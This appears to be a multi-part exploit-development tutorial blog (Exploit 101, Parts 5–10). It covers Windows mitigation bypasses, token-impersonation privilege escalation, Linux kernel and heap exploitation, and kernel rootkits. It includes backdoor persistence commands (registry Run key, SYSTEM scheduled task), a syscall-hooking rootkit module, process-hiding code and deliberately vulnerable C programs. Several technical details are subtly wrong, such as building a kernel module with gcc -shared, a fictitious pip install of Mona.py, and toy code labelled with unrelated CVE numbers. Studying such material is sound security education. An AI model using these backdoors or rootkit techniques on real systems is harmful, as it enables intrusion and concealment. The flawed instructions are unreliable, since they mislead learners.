Exploit 101: Part 10 - Advanced Windows Exploitation

In this tenth and final part of our Exploit 101 series, we will explore Advanced Windows Exploitation Techniques, including bypassing security mitigations, crafting advanced exploits, and achieving persistence in compromised systems.

Advanced Windows Exploitation Techniques

To exploit modern Windows systems, attackers must bypass security defenses like DEP, ASLR, PatchGuard, and Control Flow Guard (CFG). Below are some techniques used for advanced exploitation.

1. Bypassing Data Execution Prevention (DEP)

DEP prevents execution of non-executable memory, blocking traditional buffer overflow shellcode execution.

Bypassing DEP with ROP (Return-Oriented Programming)

ROP allows an attacker to chain existing functions in memory to execute arbitrary code.

Steps:

1. Find ROP Gadgets in a loaded DLL (e.g., kernel32.dll):

   ROPgadget --binary vulnerable.exe
   

2. Create an ROP chain to call VirtualProtect() and mark memory as executable:

   payload = b"A" * offset  # Overflow buffer
   payload += p32(virtual_protect)  # Address of VirtualProtect()
   payload += p32(gadget_ret)  # Return address
   payload += p32(shellcode_address)  # Address of shellcode
   

3. Execute the payload, bypassing DEP.

2. Bypassing ASLR (Address Space Layout Randomization)

ASLR randomizes memory addresses to make exploitation harder.

Bypassing ASLR with Memory Leaks

1. Find a function that leaks memory addresses (e.g., printf() or NtQuerySystemInformation).
2. Use the leaked address to calculate DLL base addresses.
3. Construct a new exploit using the known addresses.

Example of leaking an address in C:

printf("Address of kernel32.dll: %p\n", GetModuleHandle("kernel32.dll"));

3. Token Stealing for Privilege Escalation

Even without a kernel exploit, attackers can steal access tokens to escalate privileges.

Exploiting SeImpersonatePrivilege

1. Check if the current user has impersonation privileges:

   whoami /priv | findstr SeImpersonatePrivilege
   

2. Use RoguePotato or PrintSpoofer to escalate privileges:

   PrintSpoofer64.exe -i -c cmd.exe
   

3. Confirm SYSTEM access:

   whoami
   

4. Exploiting Windows Kernel for SYSTEM Privileges

Exploiting kernel vulnerabilities allows attackers to execute arbitrary code in ring 0.

Exploiting a Windows Kernel Null Pointer Dereference

1. Find a vulnerable driver that maps a NULL pointer in kernel space.
2. Use user-controlled memory to overwrite kernel structures.
3. Execute a payload to spawn a SYSTEM shell.

Example of triggering a kernel crash:

#include <windows.h>
int main() {
    *(int *)0 = 0xDEADBEEF; // NULL pointer dereference
    return 0;
}

5. Persistence Techniques

After exploitation, attackers establish persistence to maintain access:

• Registry Autoruns:

  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d "C:\malicious.exe"
  

• Scheduled Task Execution:

  schtasks /create /tn "Update" /tr C:\backdoor.exe /sc onlogon /ru SYSTEM
  

• DLL Hijacking:
  • Replace a legitimate DLL with a malicious one in the application’s directory.

Windows Exploitation Mitigations

Microsoft implements multiple defenses:

1. Windows Defender Exploit Guard (WDEG) – Protects against memory corruption.
2. Control Flow Guard (CFG) – Blocks control hijacking attempts.
3. Credential Guard – Prevents credential dumping.
4. LSA Protection – Protects sensitive authentication components.

How Attackers Bypass Mitigations

• Memory Corruption Exploits – Exploiting unpatched vulnerabilities.
• Privilege Escalation via Kernel Exploits – Bypassing PatchGuard.
• Code Injection – Injecting malicious code into trusted processes.
• APC Hijacking – Manipulating asynchronous procedure calls to execute malicious code.

Conclusion

Advanced Windows exploitation requires deep knowledge of ROP, ASLR bypass, privilege escalation, and kernel exploitation. This concludes our Exploit 101 series. Continue your journey by exploring real-world CVEs, exploit research, and penetration testing techniques.

Further Learning Resources

• Windows Internals, Part 1 & 2 – By Mark Russinovich
• The Art of Memory Forensics – By Michael Hale Ligh
• Offensive Security Exploitation Expert (OSEE) – Advanced exploit development course
• Hack The Box / VulnHub – Practice with real-world challenges

What’s Next?

• Learn Advanced Exploit Development (Windows/Linux).
• Explore Firmware and IoT Exploitation.
• Get into Reverse Engineering & Malware Analysis.

Thank you for following the Exploit 101 series! Keep practicing, researching, and pushing your skills further. 🚀

Exploit 101: Part 9 - Windows Exploitation Basics

In this ninth part of our Exploit 101 series, we shift focus to Windows Exploitation, covering how attackers find and exploit vulnerabilities in Windows systems for privilege escalation and remote code execution.

Understanding Windows Exploitation

Windows exploits target vulnerabilities in user-mode applications, kernel components, and network services. These exploits often aim to:

• Escalate privileges from low-level users to SYSTEM.
• Execute arbitrary code through memory corruption.
• Bypass security mechanisms like DEP, ASLR, and PatchGuard.
• Persist on a system by modifying registry, services, or scheduled tasks.

Common Windows Vulnerabilities

1. Buffer Overflow – Overwriting memory structures to hijack execution.
2. Privilege Escalation – Exploiting kernel flaws to elevate privileges.
3. DLL Hijacking – Replacing legitimate DLLs with malicious versions.
4. Token Impersonation – Abusing high-privileged access tokens.
5. EternalBlue (SMB Exploit - CVE-2017-0144) – Remote code execution via SMB.

Setting Up a Windows Exploitation Lab

Required Tools

• Windows 10/7 Virtual Machine (Target system)
• Kali Linux or CommandoVM (Attacker system)
• Metasploit Framework (Exploit development)

  sudo apt install metasploit-framework
  

• WinDbg (Windows Debugger for analyzing crashes)
• Immunity Debugger with Mona.py (Buffer overflow fuzzing)

  pip install mona
  

Exploit 1: Buffer Overflow in Windows

Vulnerable C Code

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[128];
    strcpy(buffer, input); // No bounds checking
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

Exploiting It

Compile with:

gcc -o vuln.exe vuln.c

Find crash offset using Mona.py in Immunity Debugger:

!mona pattern_create 300

Trigger overflow:

python -c 'print("A"*300)' | vuln.exe

Check EIP overwrite with:

!mona pattern_offset 0x41414141  # Replace with actual EIP value

Exploit 2: Privilege Escalation via Token Impersonation

Abusing SeImpersonatePrivilege

If a process has SeImpersonatePrivilege, it can escalate privileges:

1. Check privileges:

   whoami /priv
   

2. Use JuicyPotato exploit:

   JuicyPotato.exe -t * -p cmd.exe -l 1337
   

3. Spawn SYSTEM shell:

   whoami  # Now running as SYSTEM
   

Windows Exploitation Mitigations

Windows includes multiple security features:

• DEP (Data Execution Prevention) – Prevents execution of non-executable memory.
• ASLR (Address Space Layout Randomization) – Randomizes memory addresses.
• PatchGuard – Protects kernel structures from modification.
• Credential Guard – Prevents credential dumping attacks.

Bypassing Protections

• Return-Oriented Programming (ROP) – Bypasses DEP by chaining existing code.
• Heap Spray – Predicts ASLR-protected addresses by flooding memory.
• DLL Injection – Loads malicious code into trusted processes.

Conclusion

Windows exploitation requires understanding memory corruption, privilege escalation, and bypassing security defenses. In the next part, we will cover Advanced Windows Exploitation Techniques.

Stay tuned for Exploit 101: Part 10 – Advanced Windows Exploitation!

Exploit 101: Part 8 - Kernel Rootkits and Persistence

In this eighth part of our Exploit 101 series, we will explore Kernel Rootkits and Persistence, focusing on how attackers maintain access to a compromised system using stealthy kernel modifications.

What is a Kernel Rootkit?

A kernel rootkit is a type of malware that runs with kernel privileges, allowing it to:

• Hide processes, files, and network connections
• Intercept system calls and modify kernel behavior
• Provide persistent backdoor access
• Bypass security mechanisms like antivirus and monitoring tools

Kernel Rootkit Techniques

1. Hooking System Calls – Modifying sys_call_table to intercept functions.
2. Direct Kernel Object Manipulation (DKOM) – Hiding processes by modifying kernel structures.
3. Loadable Kernel Modules (LKM) Rootkits – Dynamically loading malicious kernel code.
4. Network Backdoor Injection – Creating hidden network sockets.
5. Filesystem Hiding – Concealing files and directories.

Setting Up a Rootkit Development Environment

Required Tools

• Kernel Headers (for compiling modules):

  sudo apt install linux-headers-$(uname -r)
  

• GDB & QEMU (for debugging):

  sudo apt install gdb qemu-system-x86
  

• LKM Development Tools:

  sudo apt install build-essential
  

Example 1: Hooking System Calls

Malicious LKM Code

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>

unsigned long **sys_call_table;
static asmlinkage int (*original_sys_getdents)(unsigned int, struct linux_dirent *, unsigned int);

asmlinkage int hacked_sys_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
    int nread = original_sys_getdents(fd, dirp, count);
    return nread; // Modify this function to hide files
}

static int __init rootkit_init(void) {
    sys_call_table = (unsigned long **)kallsyms_lookup_name("sys_call_table");
    original_sys_getdents = (void *)sys_call_table[__NR_getdents];
    return 0;
}

static void __exit rootkit_exit(void) {
    sys_call_table[__NR_getdents] = (unsigned long *)original_sys_getdents;
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

Compiling and Loading the Rootkit

gcc -o rootkit.ko rootkit.c -fPIC -shared
sudo insmod rootkit.ko

Check if it is loaded:

lsmod | grep rootkit

Remove the rootkit:

sudo rmmod rootkit

Example 2: Hiding a Process with DKOM

Modify process structures to hide a malicious process:

struct task_struct *task;
for_each_process(task) {
    if (!strcmp(task->comm, "malicious")) {
        list_del(&task->tasks);
    }
}

Rootkit Detection and Mitigation

• Check for Hidden Modules:

  sudo lsmod | grep suspicious_module
  

• Scan for Rootkits using rkhunter:

  sudo apt install rkhunter
  sudo rkhunter --check
  

• Use Kernel Integrity Monitoring (LKRG)

  sudo apt install lkrg
  

Conclusion

Kernel rootkits are dangerous and stealthy, allowing attackers to maintain persistent control. Defenders must use kernel integrity checks, system monitoring, and rootkit detection tools. In the next part, we will explore Windows Exploitation Basics.

Stay tuned for Exploit 101: Part 9 – Windows Exploitation Basics!

Exploit 101: Part 7 - Kernel Exploitation Basics

In this seventh part of our Exploit 101 series, we will introduce Kernel Exploitation, focusing on how attackers exploit vulnerabilities in the Linux kernel to achieve privilege escalation and system control.

What is Kernel Exploitation?

Kernel exploitation involves exploiting vulnerabilities in the operating system kernel, allowing an attacker to:

• Escalate privileges (gain root access from a low-privileged user)
• Bypass security restrictions
• Execute arbitrary code in kernel mode
• Achieve persistence (backdoors, rootkits)

Common Kernel Vulnerabilities

1. Null Pointer Dereference – Accessing NULL memory in kernel space.
2. Use-After-Free (UAF) – Reusing deallocated memory.
3. Race Conditions – Exploiting concurrency flaws.
4. Stack-Based Buffer Overflow – Overwriting kernel function pointers.
5. Integer Overflow – Manipulating memory allocation sizes.

Setting Up a Kernel Exploitation Lab

1. Install a Vulnerable Kernel

To practice, use an older Linux kernel with known vulnerabilities.

Ubuntu with Kernel 4.15 (Vulnerable to CVE-2017-16995)

wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.15/linux-image-4.15.0.deb
sudo dpkg -i linux-image-4.15.0.deb
sudo reboot

2. Debugging Kernel Exploits

• QEMU + GDB for Kernel Debugging

qemu-system-x86_64 -kernel bzImage -append "root=/dev/sda" -s -S

Attach GDB:

gdb -ex "target remote :1234"

Exploit 1: Null Pointer Dereference

Vulnerable Kernel Code (CVE-2017-11176)

struct my_struct {
    int *ptr;
};
static struct my_struct *data;
void kernel_vuln(void) {
    if (data->ptr) {
        *(data->ptr) = 0xdeadbeef;
    }
}

This code does not check if data is NULL, leading to a NULL dereference.

Exploiting It

1. Trigger the vulnerability:

   echo "Exploit Trigger" > /proc/vuln
   

2. If the kernel crashes, modify execution flow using mmap().
3. Map user-controlled memory at NULL (bypassing protections):

   mmap(0, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, -1, 0);
   *(int *)0 = 0xdeadbeef; // Control execution
   

Exploit 2: Use-After-Free (CVE-2021-22555)

Vulnerable Code

struct user_struct *obj = kmalloc(sizeof(struct user_struct), GFP_KERNEL);
kfree(obj);
printk("User data: %s\n", obj->name);  // Accessing freed memory!

Exploiting It

1. Spray the heap using kmalloc() to allocate a controlled structure.
2. Overwrite function pointers in obj->name to execute shellcode.
3. Trigger execution with the crafted object.

Kernel Exploitation Mitigations

Modern kernels implement security mechanisms like:

• KASLR (Kernel Address Space Layout Randomization) – Makes addresses unpredictable.
• SMEP (Supervisor Mode Execution Prevention) – Blocks userland execution.
• KPTI (Kernel Page Table Isolation) – Mitigates Meltdown attacks.

Bypassing Protections

• Leak Kernel Addresses – Use procfs, dmesg, or memory leaks.
• ROP (Return-Oriented Programming) – Chain kernel gadgets to execute payloads.
• Disable SMEP – Use ROP to modify control registers.

Conclusion

Kernel exploitation is an advanced technique requiring deep knowledge of memory management, privilege escalation, and bypassing modern mitigations. In the next part, we will cover Kernel Rootkits and Persistence Techniques.

Stay tuned for Exploit 101: Part 8 – Kernel Rootkits and Persistence!

Exploit 101: Part 6 - Advanced Heap Exploitation

In this sixth part of our Exploit 101 series, we dive deeper into Advanced Heap Exploitation, covering heap metadata corruption, fastbin attacks, unlink exploitation, and other modern heap exploitation techniques.

Understanding the Heap Allocator

Most Linux systems use glibc's ptmalloc2 as the heap allocator. Understanding its structure is key to exploiting heap vulnerabilities.

Heap Chunk Structure (ptmalloc2)

A heap chunk consists of the following fields:

+--------------------+
| Prev Size         |  (If previous chunk is free)
+--------------------+
| Size             |  (Size of this chunk + metadata flags)
+--------------------+
| User Data        |  (Allocated memory returned to malloc caller)
+--------------------+
| Padding          |  (Aligns chunk size to 8/16 bytes)
+--------------------+
| Next Chunk Size  |  (Size of next chunk if it's free)
+--------------------+

Key Heap Attack Techniques

• Fastbin Duplication Attack – Abusing fastbins to allocate memory at arbitrary locations.
• Unlink Exploitation – Manipulating free chunk pointers to overwrite critical data.
• House of Force – Expanding the top chunk to overwrite memory regions.
• House of Spirit – Allocating fake chunks to bypass protections.
• House of Corrosion – Attacking heap metadata corruption.

Exploit 1: Fastbin Duplication Attack

Vulnerable C Code

#include <stdio.h>
#include <stdlib.h>
int main() {
    char *a = malloc(64);
    char *b = malloc(64);
    free(a);
    free(b);
    char *c = malloc(64);  // Reuses the same chunk
    strcpy(c, "Exploited!");
    printf("%s\n", c);
    return 0;
}

Exploiting Fastbin Duplication

1. Run the binary under GDB:

   gdb -q ./fastbin_exploit
   

2. Set breakpoints after free() to inspect heap:

   heap bins
   

3. Corrupt the fastbin list to allocate memory at an arbitrary address.

Exploit 2: Unlink Exploitation

Vulnerable C Code

#include <stdio.h>
#include <stdlib.h>
struct Chunk {
    struct Chunk *fd;
    struct Chunk *bk;
};
int main() {
    struct Chunk *a = malloc(sizeof(struct Chunk));
    struct Chunk *b = malloc(sizeof(struct Chunk));
    free(a);
    free(b);
    a->fd = (struct Chunk*)&a - 2;
    a->bk = (struct Chunk*)&a - 1;
    malloc(sizeof(struct Chunk));
    return 0;
}

Exploiting Unlink Attack

When malloc() reuses freed memory, unlink() writes to an arbitrary address, leading to control of program execution.

Heap Exploitation Mitigations

Modern Linux systems implement heap protections:

• Safe Linking – Protects against fastbin corruption.
• Heap Canaries – Detects overflows before they corrupt metadata.
• tcache (Thread Cache) – Prevents simple fastbin abuse.
• ASLR (Address Space Layout Randomization) – Makes address prediction difficult.

Bypassing Protections

• Heap Spraying – Flooding memory with controlled data to predict allocation.
• Leaking Heap Addresses – Using format string vulnerabilities or memory leaks.
• Brute Forcing – Attempting multiple allocations to find predictable heap structures.

Conclusion

Advanced heap exploitation requires deep knowledge of heap internals, allocator behavior, and bypassing modern mitigations. In the next part, we will cover Kernel Exploitation Techniques.

Stay tuned for Exploit 101: Part 7 – Kernel Exploitation Basics!

Exploit 101: Part 5 - Heap Exploitation Basics

In the fifth part of our Exploit 101 series, we will explore heap exploitation, a technique used to manipulate memory allocation mechanisms to gain control over a program's execution.

What is Heap Exploitation?

The heap is a memory region used for dynamic allocation, where programs request memory at runtime using functions like malloc(), calloc(), and realloc(). Unlike stack-based buffer overflows, heap exploitation targets vulnerabilities in heap management to overwrite critical data structures and gain arbitrary code execution.

Common Heap Vulnerabilities

1. Heap Buffer Overflow – Writing beyond allocated memory on the heap.
2. Use-After-Free (UAF) – Accessing freed memory, leading to unintended behavior.
3. Double-Free – Freeing the same memory location twice, corrupting heap structures.
4. Heap Spraying – Filling heap memory with controlled data to redirect execution.

Setting Up Heap Exploitation Environment

Required Tools

Ensure your system has the following tools installed:

• GDB with GEF (GDB Enhanced Features)

  sudo apt install gdb -y
  wget -O ~/.gdbinit-gef.py https://gef.blah.cat/py
  echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
  

• Pwntools (Python Exploit Development Library)

  pip install pwntools
  

• Libc Debugging Symbols

  sudo apt install libc6-dbg
  

Example 1: Heap Buffer Overflow

Consider the following vulnerable C code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *input) {
    char *buffer = malloc(64);
    strcpy(buffer, input);  // No bounds checking
    printf("You entered: %s\n", buffer);
    free(buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

The strcpy() function does not verify input length, leading to a heap overflow.

Exploiting Heap Buffer Overflow

Compile the vulnerable program:

gcc -o heap_overflow heap_overflow.c -fno-stack-protector -z execstack -g

Trigger an overflow using python:

./heap_overflow $(python -c 'print("A" * 100)')

If the program crashes, it indicates memory corruption, which can be leveraged to overwrite function pointers or heap metadata.

Example 2: Use-After-Free (UAF) Exploit

Vulnerable C Code

#include <stdio.h>
#include <stdlib.h>

int main() {
    char *ptr = malloc(64);
    strcpy(ptr, "Sensitive Data");
    free(ptr);  // Memory freed but pointer is still accessible
    printf("Use-After-Free: %s\n", ptr);  // Accessing freed memory
    return 0;
}

This program accesses freed memory, which can be exploited by allocating controlled input at the same memory location.

Exploiting UAF

Run the program:

./uaf

If the memory is reused by another allocation, an attacker can control the program flow.

Debugging Heap Exploits with GDB

Use GDB to analyze heap behavior:

gdb -q ./heap_overflow
run $(python -c 'print("A" * 100)')
heap bins  # View heap chunk allocations

Use pwndbg to visualize heap corruption:

heap chunks

Conclusion

Heap exploitation is an advanced technique requiring a deep understanding of memory management. In the next part, we will cover Advanced Heap Exploitation Techniques.

Stay tuned for Exploit 101: Part 6 – Advanced Heap Exploitation!